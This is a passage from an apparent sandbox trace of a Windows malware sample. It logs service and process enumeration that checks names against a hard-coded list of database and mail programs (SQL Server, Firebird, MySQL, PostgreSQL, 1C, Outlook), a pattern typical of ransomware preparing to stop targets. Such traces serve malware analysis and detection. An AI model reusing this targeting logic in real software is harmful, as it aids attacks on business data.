(lpString1="sqlwriter", lpString2="BFE") returned 1 [0188.804] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0188.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0188.804] lstrlenW (lpString="CscService") returned 10 [0188.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0188.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0188.805] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0188.805] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0188.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0188.805] lstrlenW (lpString="DcomLaunch") returned 10 [0188.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0188.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0188.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0188.805] lstrlenW (lpString="Dhcp") returned 4 [0188.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0188.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0188.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0188.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0188.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0188.806] lstrlenW (lpString="Dnscache") returned 8 [0188.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0188.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0188.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0188.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0188.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0188.806] lstrlenW (lpString="eventlog") returned 8 [0188.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0188.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0188.806] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0188.806] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0188.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0188.807] lstrlenW (lpString="EventSystem") returned 11 [0188.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0188.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0188.807] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0188.807] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0188.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0188.807] lstrlenW (lpString="gpsvc") returned 5 [0188.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0188.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0188.807] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0188.807] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0188.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0188.807] lstrlenW (lpString="lmhosts") returned 7 [0188.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0188.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0188.808] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0188.808] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0188.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0188.808] lstrlenW (lpString="MMCSS") returned 5 [0188.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0188.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0188.808] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0188.808] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0188.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0188.808] lstrlenW (lpString="nsi") returned 3 [0188.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0188.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0188.808] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0188.809] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0188.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0188.809] lstrlenW (lpString="PlugPlay") returned 8 [0188.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0188.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0188.809] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0188.809] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0188.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0188.809] lstrlenW (lpString="Power") returned 5 [0188.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0188.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0188.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0188.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0188.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0188.813] lstrlenW (lpString="ProfSvc") returned 7 [0188.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0188.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0188.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0188.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0188.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0188.813] lstrlenW (lpString="RpcEptMapper") returned 12 [0188.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.813] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0188.813] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0188.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0188.814] lstrlenW (lpString="RpcSs") returned 5 [0188.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0188.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0188.814] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0188.814] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0188.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0188.814] lstrlenW (lpString="SamSs") returned 5 [0188.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0188.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0188.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0188.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0188.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0188.815] lstrlenW (lpString="Schedule") returned 8 [0188.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0188.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0188.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0188.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0188.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0188.816] lstrlenW (lpString="SENS") returned 4 [0188.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0188.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0188.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0188.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0188.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0188.817] lstrlenW (lpString="ShellHWDetection") returned 16 [0188.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.817] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0188.817] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0188.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0188.817] lstrlenW (lpString="Spooler") returned 7 [0188.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0188.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0188.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0188.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0188.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0188.817] lstrlenW (lpString="Themes") returned 6 [0188.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0188.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0188.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0188.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0188.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0188.818] lstrlenW (lpString="UxSms") returned 5 [0188.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0188.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0188.818] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0188.818] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0188.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0188.818] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x920138 | out: hHeap=0x880000) returned 1 [0188.818] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x124 [0188.823] Process32FirstW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.824] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0188.826] lstrlenW (lpString="System") returned 6 [0188.826] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0188.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0188.827] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0188.827] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0188.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0188.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0188.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0188.827] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0188.829] lstrlenW (lpString="smss.exe") returned 8 [0188.829] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0188.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0188.829] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0188.829] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0188.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0188.830] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0188.830] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0188.830] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.832] lstrlenW (lpString="csrss.exe") returned 9 [0188.832] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0188.832] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0188.832] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0188.832] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0188.832] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0188.832] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0188.832] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0188.832] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0188.834] lstrlenW (lpString="wininit.exe") returned 11 [0188.834] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0188.834] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0188.834] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0188.835] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0188.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0188.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0188.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0188.835] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.836] lstrlenW (lpString="csrss.exe") returned 9 [0188.836] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0188.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0188.836] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0188.836] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0188.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0188.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0188.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0188.837] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0188.838] lstrlenW (lpString="winlogon.exe") returned 12 [0188.838] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0188.838] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0188.838] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0188.838] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0188.838] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0188.838] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0188.838] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0188.838] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0188.839] lstrlenW (lpString="services.exe") returned 12 [0188.839] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0188.839] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0188.840] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0188.840] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0188.840] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0188.840] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0188.840] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0188.840] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.401] lstrlenW (lpString="lsass.exe") returned 9 [0189.401] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0189.401] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0189.401] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0189.401] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0189.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0189.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0189.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0189.401] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0189.404] lstrlenW (lpString="lsm.exe") returned 7 [0189.404] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0189.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0189.405] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0189.405] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0189.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0189.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0189.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0189.405] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.406] lstrlenW (lpString="svchost.exe") returned 11 [0189.406] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0189.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0189.406] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0189.406] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0189.406] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0189.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0189.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0189.407] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.408] lstrlenW (lpString="svchost.exe") returned 11 [0189.408] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0189.408] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0189.408] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0189.408] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0189.408] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0189.408] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0189.408] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0189.408] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.409] lstrlenW (lpString="svchost.exe") returned 11 [0189.410] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0189.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0189.410] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0189.410] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0189.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0189.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0189.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0189.410] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.411] lstrlenW (lpString="svchost.exe") returned 11 [0189.411] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0189.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0189.411] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0189.411] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0189.412] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0189.412] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0189.412] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0189.412] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.413] lstrlenW (lpString="svchost.exe") returned 11 [0189.413] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0189.413] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0189.413] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0189.413] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0189.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0189.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0189.413] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0189.413] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.414] lstrlenW (lpString="audiodg.exe") returned 11 [0189.414] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0189.414] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0189.415] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0189.415] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0189.415] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0189.415] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0189.415] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0189.415] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.416] lstrlenW (lpString="svchost.exe") returned 11 [0189.416] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0189.416] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0189.416] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0189.416] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0189.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0189.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0189.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0189.417] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0189.418] lstrlenW (lpString="userinit.exe") returned 12 [0189.418] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0189.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0189.418] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0189.418] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0189.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0189.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0189.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0189.419] 